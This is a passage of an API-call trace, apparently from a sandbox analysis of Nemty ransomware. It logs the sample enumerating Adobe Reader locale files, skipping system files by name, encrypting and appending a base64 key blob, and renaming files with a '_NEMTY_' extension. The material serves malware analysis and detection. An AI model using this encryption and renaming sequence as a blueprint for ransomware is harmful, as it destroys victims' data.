lpUsedDefaultChar=0x0) returned 11 [0180.480] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.NLD", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.NLD", lpUsedDefaultChar=0x0) returned 11 [0180.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.480] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.480] Sleep (dwMilliseconds=0x5) [0180.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3a2970, dwHighDateTime=0x1d561e8)) [0180.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3a2970, dwHighDateTime=0x1d561e8)) [0180.490] GetLastError () returned 0x0 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.490] GetLastError () returned 0x0 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.490] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.490] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="DvsRcAt0G/SSuJ42Dz1Cz3WrsNon6TfC3A5psr+wUlq6WFQg7DbSarPdgn/0yHyI\r\nB8sl7FyEhPPU8TWAf4HeBKnzpY9+FZWRje8eRfh/XCqf2x2sMD7vHMekIhUG5M6k\r\nGBxONQlzuhrwTpwpJr36hg7SVSPmwQb5greGmENnI5vvZcwOQJiry9/GcIRcjT4B\r\nWC5sLvdPVewfAABs2l0DgVP7FFyEg5z5dUk0u9FC4mOeRxXhiDEIIt9BsojE5mpH\r\nSG89clHKO1gl9iXnNGK6uGKWkqi7tsF/397dlgBTLDh5hl5O1gJhQixgHvPp4lcv\r\nfv2t+0dLJPTAzEa2b4Mbhg==\r\n", pcchString=0x653e5dc) returned 1 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.490] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.491] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0180.491] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0180.491] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.491] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0180.495] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.495] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0180.495] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.495] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0180.495] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.496] CloseHandle (hObject=0x2e8) returned 1 [0180.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.496] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.496] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\EScript.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\escript.nld._nemty_kgobjgd_")) returned 1 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.497] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cfad80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.NLD", cAlternateFileName="")) returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2=".") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="..") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="...") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="windows") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="rsa") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="NTDETECT.COM") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="ntldr") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="MSDOS.SYS") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="IO.SYS") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="boot.ini") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="boot.ini") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="ntuser.dat") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="desktop.ini") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="CONFIG.SYS") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="RECYCLER") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="bootmgr") returned 1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="programdata") returned -1 [0180.497] lstrcmpiW (lpString1="IA32.NLD", lpString2="appdata") returned 1 [0180.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NLD", lpUsedDefaultChar=0x0) returned 8 [0180.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.497] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NLD", lpUsedDefaultChar=0x0) returned 8 [0180.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NLD", lpUsedDefaultChar=0x0) returned 8 [0180.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.498] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.NLD", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.NLD", lpUsedDefaultChar=0x0) returned 8 [0180.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0180.498] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.498] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0180.498] Sleep (dwMilliseconds=0x5) [0180.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3c8ad0, dwHighDateTime=0x1d561e8)) [0180.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f3c8ad0, dwHighDateTime=0x1d561e8)) [0180.505] GetLastError () returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.505] GetLastError () returned 0x0 [0180.505] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.506] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.506] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="nnYH0JYD5pHEizSLm4eDOitKORIlGuzfde3hxH0S3uH4XcA4gjvb+ws8D4QOx4TP\r\ntIZibGAQDlH22BsId9qMacMA7CMbh2KVmjMc4GnMpBhHdk5sunr2jZ8c7i74TLqx\r\ndxJkQzBXm48Rpe2J0fA4NxvzN2wOYRClxPCf37rtU7WGMU2mb8mXEdhnjNrUdSBp\r\nPEa4udffzvh9yI1bMGTtHRxMeNbTfSHOxeyO19FdLmcFjJwXOPKapbRDSma9wUbv\r\nxAM77jCHqP4bw/1C7IVmYZSqqR0pGtFRMigcXTzjrYEWVRANpXgiv/hg4gX1XGJM\r\n77rko3SrFVxLbgW9l6j/oQ==\r\n", pcchString=0x653e5dc) returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.506] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.506] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0180.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0180.506] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.506] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0180.508] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.508] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0180.508] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.508] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0180.508] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.508] CloseHandle (hObject=0x2e8) returned 1 [0180.508] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0180.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.509] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\IA32.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ia32.nld._nemty_kgobjgd_")) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.509] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.NLD", cAlternateFileName="MAKEAC~1.NLD")) returned 1 [0180.509] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2=".") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="..") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="...") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="windows") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="$RECYCLE.BIN") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="rsa") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="NTDETECT.COM") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="ntldr") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="MSDOS.SYS") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="IO.SYS") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="boot.ini") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="boot.ini") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="ntuser.dat") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="desktop.ini") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="CONFIG.SYS") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="RECYCLER") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="BOOTSECT.BAK") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="bootmgr") returned 1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="programdata") returned -1 [0180.510] lstrcmpiW (lpString1="makeaccessible.NLD", lpString2="appdata") returned 1 [0180.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NLD", lpUsedDefaultChar=0x0) returned 18 [0180.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0180.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.NLD", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.NLD", lpUsedDefaultChar=0x0) returned 18 [0180.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 